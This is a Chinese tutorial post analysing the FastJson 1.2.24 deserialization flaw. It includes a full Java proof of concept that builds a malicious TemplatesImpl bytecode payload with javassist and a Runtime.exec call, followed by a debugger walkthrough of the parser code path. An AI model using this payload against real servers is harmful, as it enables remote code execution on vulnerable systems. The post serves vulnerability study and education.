zl程序教程

您现在的位置是:首页 >  后端

当前栏目

FastJson Jdbc链

JDBC fastjson
2023-06-13 09:13:36 时间

maven:

<dependencies>
<dependency>
<groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId>
<version>1.10</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.19.0-GA</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
</dependencies>

import com.alibaba.fastjson.JSON;### 利用链

1.JDK7u21 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

poc

package com.akkacloud.demo;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.codec.binary.Base64;
public class fastjsonTest {
public static class test{}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(test.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"open
/System/Applications/Calculator.app\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "akka1" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));byte[] evilCode = cc.toBytecode();
String evilCode_base64 = Base64.encodeBase64String(evilCode);
System.out.println(evilCode_base64);
final String NASTY_CLASS =
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String payload =
"{\"" +
"@type\":\"" + NASTY_CLASS + "\"," + "\"" +
"_bytecodes\":[\"" + evilCode_base64 + "\"]," +
"'_name':'asd','" +
"_tfactory':{ },\"" +
"_outputProperties\":{ }," + "\"" +
"_version\":\"1.0\",\"" +
"allowedProtocols\":\"all\"}\n";
ParserConfig config = new ParserConfig();
Object obj = JSON.parseObject(payload, Object.class, config,
Feature.SupportNonPublicField);
}
}

漏洞利用条件

1.服务端使用parseObject()时,必须使用如下格式才能触发漏洞:

JSON.parseObject(input,
Object.class, Feature.SupportNonPublicField)

2.服务端使用parse()时,需要

JSON.parse(text1,Feature.SupportNonPublicField)

漏洞调试

我们在parseObject下断点,我们跟进 parseObject方法

然后我们跟进parseObject方法

这里的第一个参数就是我们的payload 所以我们跟进去 可以看到

此时的input就是我们的恶意字符 我们跟进去

可以看到我们来到了他的重载方法 此时的input依旧是我们的恶意字符 这里比较了一下

featureValues 和 feature 然后实例化了DefaultJSONParser这个类 因为这里存在我们input的恶

意字符 所以我们跟进去

来到了他的重载方法 我们继续跟进

可以看到 我们进入到了JSONScanner方法 这里将我们的input恶意字符 赋值给了text 然后获取它的长度 然后调用了next方法 我们跟进去

可以看到我们来到了DefaultJSONParser的重载方法

此时将input 赋值给input 然后此时我们的lexer里面存储的就是恶意字符串的对象

然后我们往下走 可以看到此时lexer.getCurrent();

返回的就是我们的 "{" 所以我们进入if 这里if里面又调用了lexer.next方法

上面我们看到过 当时lexer里面存储着next的恶意对象

此时进行调用然后我们往下走可以看到

这里lexer.token被赋值为了12 我们返回Json.class

我们来到这里 这里又调用了parseObject方法 所以我们跟进去

可以看到 此时判断了token

因为我们在DefaultJSONParser对象里面的方法里面赋值为了12

然后获取一个ObjectDeserializer对象 去调用了deserialze方法 我们跟进去

进入到deserialze方法之后 此时我们上一步传进去的this被赋值给了parser

然后判断是不是GenericArrayType类型

我们传进去的是object.class

进入else

type instanceof Class&& type != Object.class && type != Serializable.class

为ture则调用

parser.parseObject(type) 否则调用parser.parse(fieldName),这里肯定是flase的进入parser.parse(fieldName) 因为type 就是Object.class 我们继续跟进

这里我们来到了parse方法 首先将lexer复制给了JSONLexer 可以看到this.lexer是包含我们的恶意

对象的 然后进行token判断 我们当时赋值的token为12 所以我们直接定位到12

来到token为12这里 这里是一个常量 他所对应的值就是12 这里调用了parseObject方法· 所以我们跟进去

因为token等于12 所以我们直接来到else 因为前面条件都不成立 这里进行判断如果ch == " 的话,他进入if 前面我们赋值过ch 当时赋值的ch是等于" 所以我们进入if 这里调用了scanSymbol方法,这里传进去两个参数 一个是symbolTable 一个是 双引号 我们可以清楚的看到 此时的,symbolTable就是@Type

然后我们往下走

此时来到这里 可以清楚的看到此时的key就是@Type 这里进行了判断 如果key为

JSON.DEFAULT_TYPE_KEY的话 进入if 其实JSON.DEFAULT_TYPE_KEY返回的就是@Type 所以我们进入if

我们跟进去scanSymbol方法查看 可以看到它进行一系列的字符串获取 @type字段传进去的值 赋值给ref 其实就是我们的templatesImpl

然后通过loadClass进行实例化该类 可以清楚的看到此时的typeName就是我们的templatesImpl我们继续往下走

判断是不是Class对象

很明显是,继续跟进ParserConfig的this.getDeserializer((Class)type,type);

走到这我们也可以发现class就是我们在@type存入的东西TemplatesImpl

然后接着往下走 这里创建了一个反序列化的bean

进去对clazz进行了一系列的赋值

然后我们来到了JavaBeanInfo.build方法 然后我们跟进去

这里来到了build方法

这里我们可以看到这里通过遍历获取到了templatesImpl的get以及set方法

这里只贴一个get方法的图

@Type拿到类之后 通过反射拿到这个类的所有方法存到methods中 然后遍历获取get以及set方法 然后我们来到propertyName这里 这里可以看到循环获取方法名getOutputProperties,然后进入循环,然后根据红框,从第四位取起,然后变成小写 所以propertyName就是outputProperties

然后进行判断ieldList这个数组里面有没有这个方法,没有就把他加进去,再返回JavaBeanInfo

然后我们返回DefaultJSONParser 然后可以看到这里的deserialze已经包含了我们的beaninfo(存放了outputpropertie 我们跟进去deserialze方法

经过两次重载方法 此时我们来到deserialze方法

我们可以看到 sortedFieldDeserializers中存放了我们的outputproperties 从构造函数中可以看到是通过beanInfo赋值得到的

剩下就是循环Json数据 然后我们定位到parseField方法

继续调用了smartMatch方法 我们跟进去

进入后判断一下有没有key的fieldDeserializer

如果没有就把_bytecodes替换为bytecodes

然后我们进入到进入到com.alibaba.fastjson.parser.deserializer的

DefaultFieldDeserializer的parseField方法

我继续走到this.setValue(object, value)

此处传的object是TemplatesImpl ,value为恶意代码类的字节,value就是通过parser读取出来的

这个过程会在JavaBeanDeserializer循环进行

知道获取完所有的json字段,直到method !=null

我们的json字段中只有_outputProperties符合,成功进入if,然后反射执行